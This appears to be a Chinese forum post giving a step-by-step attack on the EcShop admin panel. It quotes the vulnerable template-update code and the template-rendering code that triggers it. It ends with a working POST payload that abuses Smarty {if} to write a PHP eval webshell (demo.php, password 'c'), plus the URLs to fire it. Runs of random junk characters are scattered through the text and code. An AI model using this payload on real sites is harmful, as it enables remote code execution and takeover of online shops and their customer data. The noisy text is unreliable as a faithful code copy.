Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% r% |# Z" g; m, i0 Y, K6 s
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
% g; a; q# m7 R但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& Q# |- H; A) }) ]/ p, }admin/template.php
% T$ Q- t+ Y- g
& j! c' o& p/ P$ I! ?1 if ($_REQUEST['act'] == 'update_library')
) m) c6 t' C4 [/ P* U
- j& W+ s+ {$ y, r! ?3 k! Y2   

& q( Z( {* K. H% [, T3 {

4     check_authz_json('library_manage');
$ e$ K. l0 R& g/ m" _# S
2 `( j2 b! C) y5   
5 |+ j$ R3 Q* H4 L. k4 t
- S" a+ M9 J0 ]7 i( b, \6     $html = stripslashes(json_str_iconv($_POST['html']));
- d: `) S" ?; b: d, }6 G* r
1 n6 N2 q/ _- V" M! P8 u; g7   

& N# X- e# Q& K, o6 n8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ m+ j/ |/ p! @' V: l& l
5 R3 _# O: x* V0 a2 o9   
, _8 J8 N/ X! L5 J" ?9 ^. A0 z. o
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
; I' w/ W: s1 X
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* }! K$ f; {0 G* `. H* S
6 z' W# V0 D4 i+ V& z13   
, |$ O. v: Q8 Z7 d
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

9 _3 F' u3 T1 l15     {

- k. w* L: q; E+ D16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
- Z7 T7 J/ D) j8 Q
1 _& M. ^: X$ j9 L# t$ U17         make_json_result('', $_LANG['update_lib_success']);

18     }
3 e1 n$ l1 X" ?! T6 e9 o% m5 d7 L) C
3 X8 b/ F. H4 [% M" t19     else
' `' c7 |: Q% q0 h4 w% ~
20     {
7 h4 B) l# Q2 ^: W1 C
" z& F" A2 r5 u  K21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
1 P) n. t; _: n3 ^) `3 K; o
22     }

23 }

* P' G, F. Y2 }' O8 I! w$ x, x' `8 I4 h那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')
8 W, W4 v0 x: A+ h
6 J$ u6 B1 t) T2 Q/ {; t6 h% Z' X2   
* \: g. h7 ]1 s( r& s- u9 v7 B
  ~% C9 t$ R" o$ n+ w" P3 {

4   

" O' z1 h" @6 [! w% r5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
' y" W* ^# {" t$ |( F9 o8 `- ~; C9 p
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
2 m  @  n/ R- S9 ~
/ a0 r& H. J& X: I9 _8 @7 k8   
7 c: x( ^  ~9 c* _5 J, \: v! K
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
$ P7 {  @7 N% q
10   

, |1 R& J5 r4 ^2 h: n11     include_once('includes/cls_json.php');
/ V! a0 |1 E6 l* @
12   

( H1 j, H% {3 |6 @13     $json = new JSON;

14   

3 b6 n( x8 J7 ~& O( |15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
# Q! P4 m( J1 a# E% L" a
) V% R+ S' A# a+ D% V1 p8 m17     $children = get_children($cat_id);

18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
. E( R+ k" o& d  z- D4 v
; T, [: k+ K' ^8 W& @20   
+ q7 K" Y9 Q' e" m0 y" U( k' i
21     $smarty->assign('cat_rec_sign', 1);
' \* a; t5 d- b6 ]) z' o2 F
22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) m4 S( H* E- H
24   

" H* u# P+ v3 q* a25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

1 {/ G4 V( `0 T9 C( H/ w26   

) G" g) t  @7 C) K- o& T1 S5 s6 [5 o27         echo $rec_array[$rec_type];
0 w1 k# e% J% i# E4 S! r# w" f% \# ?
0 a# C3 _* i9 C; [. F28   

29     die($json->encode($result));
7 E- e8 p6 q! L( L  |
30   
7 _' I3 ^4 Y: e% ^4 g
31 }

9 [! s4 }4 ]( N9 o$ K那么就有利用方法了
7 E& ~, Q+ x9 m: w5 h" \! z6 upost包到http://localhost/ec/admin/template.php?act=update_library
. L0 M+ u+ `: L2 M* M2 ~1 }* J) w) _Post内容：
, m, v  X* o4 u; M; b) \  E' g( u
4 d# u8 y& d! U9 f9 F​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
+ k# p: L( }" m
然后访问http://localhost/ec/index.php?act=cat_rec
3 X! z* V; A2 Z; o2 Y; l
9 F7 o  y6 F1 P. D; Wshel地址：http://localhost/ec/demo.php
% c4 b# \6 h9 r0 |7 a. t' M1 ?  H$ D密码c

5 Y: ?5 h/ y" R+ R